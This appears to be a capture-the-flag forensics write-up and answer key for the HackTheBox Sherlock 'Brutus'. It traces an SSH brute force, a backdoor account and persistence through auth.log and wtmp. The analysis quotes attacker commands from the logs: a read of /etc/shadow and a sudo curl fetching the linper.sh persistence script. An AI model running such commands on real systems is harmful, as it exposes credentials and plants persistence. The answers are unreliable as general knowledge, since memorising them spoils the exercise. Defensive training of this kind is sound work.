Brutus

Engage in thrilling investigative challenges that test your defensive security skills. With Sherlocks you will be asked to dive into the aftermath of a targeted cyber attack and unravel the dynamics behind them, based on the knowledge provided. Ready to start the investigation?

在这个非常简单的 Sherlock 中，您将熟悉 Unix auth.log 和 wtmp 日志。我们将探讨一个场景，即 Confluence 服务器通过其 SSH 服务被暴力破解。在获得对服务器的访问权限后，攻击者执行了其他活动，我们可以使用auth.log跟踪这些活动。虽然auth.log主要用于暴力分析，但我们将在调查中深入研究此工件的全部潜力，包括权限升级、持久性，甚至对命令执行的一些可见性。

任务列表

1、分析auth.log，您能否识别攻击者用于进行暴力攻击的 IP 地址？

Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

65.2.161.68

2 、暴力尝试成功，攻击者获得了对服务器上帐户的访问权限。这个账户的用户名是什么？

The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

root

3、您能否识别攻击者手动登录服务器以执行其目标时的时间戳？

Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

2024-03-06 06:32:45

4、SSH 登录会话在登录时被跟踪并分配一个会话编号。问题 2 中分配给攻击者用户帐户会话的会话号是多少？

SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?

37

5、攻击者在服务器上添加了一个新用户作为其持久性策略的一部分，并授予该新用户帐户更高的权限。这个账户叫什么名字？

The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

cyberjunkie

6、用于持久性的 MITRE ATT&CK 子技术 ID 是什么？

What is the MITRE ATT&CK sub-technique ID used for persistence?

T1136.001

7、根据先前确认的身份验证时间和会话在auth.log内结束，攻击者的第一个 SSH 会话持续了多长时间？（秒）

How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

279

8、攻击者登录了他们的后门帐户，并利用他们的更高权限下载了脚本。使用 sudo 执行的完整命令是什么？

The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

分析

.
├── Brutus.zip
├── auth.log
└── wtmp

在 Linux auth.log 日志文件中，登录失败会有 authentication failure 格式的日志。

登录爆破的攻击者 IP 为 65.2.161.68，登录成功会有 Accepted password for [user] ... 格式的日志

因此，爆破成功的是 root 用户，auth.log 会记录登录与登出的信息，因此搜索登陆成功前后的日志

第一次登录 root 用户时，同一时间断开连接，很显然是工具爆破，第二次登陆时操作五分钟后断开连接，因此时间为：Mar 6 06:32:44

但是对比用户在线信息可以看到时间有偏差，攻击者登录进来的时间是 32:45，组合一下，正确答案应该是：2024-03-06 06:32:45

查看登录时间附近的日志，可以找到分配到的会话号

攻击者 IP 在登出 root 账户后，以 cyberjunkie 用户登录

因此添加的新用户账户为：cyberjunkie，这个持久化操作是创建本地用户

对应 MITRE ATT&CK 子技术 ID：T1136.001

攻击者的第一个 SSH 会话持续时间为 06:32:44 - 06:37:24 共计 280 秒

但是提交的答案并不对，猜测是时间有误差，再看一下用户在线信息日志

在线用户日志中的会话持续时间为 01:32:45 - 01:37:24 共计 279 秒

攻击者在登录后门账户后的行为可以过滤登录 cyberjun 用户的时间查看

/usr/bin/cat /etc/shadow
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

因此执行脚本的命令为 /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Hints

1. Searching for keywords associated with brute force attempts may help in identifying potential attacks.
2. Look for keywords indicating successful login attempts to identify the compromised account.
3. It’s important to note that the first successful login by the attacker was the result of an automated brute force attempt, and the session was closed within the same second it was established. After obtaining the working credentials, the attacker manually logged in, and we need to identify that login. Use the wtmp artifact to view the login time of the working session and correlate that with auth.log.
4. A session number is assigned immediately after the password is accepted.
5. Auth.log also tracks changes related to users and groups on the server. Look for keywords indicating user additions or privilege assignments.
6. If you have found the answer to Question 5, consult the MITRE ATT&CK enterprise matrix to determine the sub-technique ID under the persistence tactic.
7. We previously identified the session number in Question 4. Using that session number, search for keywords indicating session duration.
8. Although auth.log is not typically used to track command executions like auditd, commands executed with sudo are logged in auth.log since the system needs to authenticate the account’s privileges to grant root level permissions for that command. Search for the keyword “COMMAND” to find commands executed using sudo.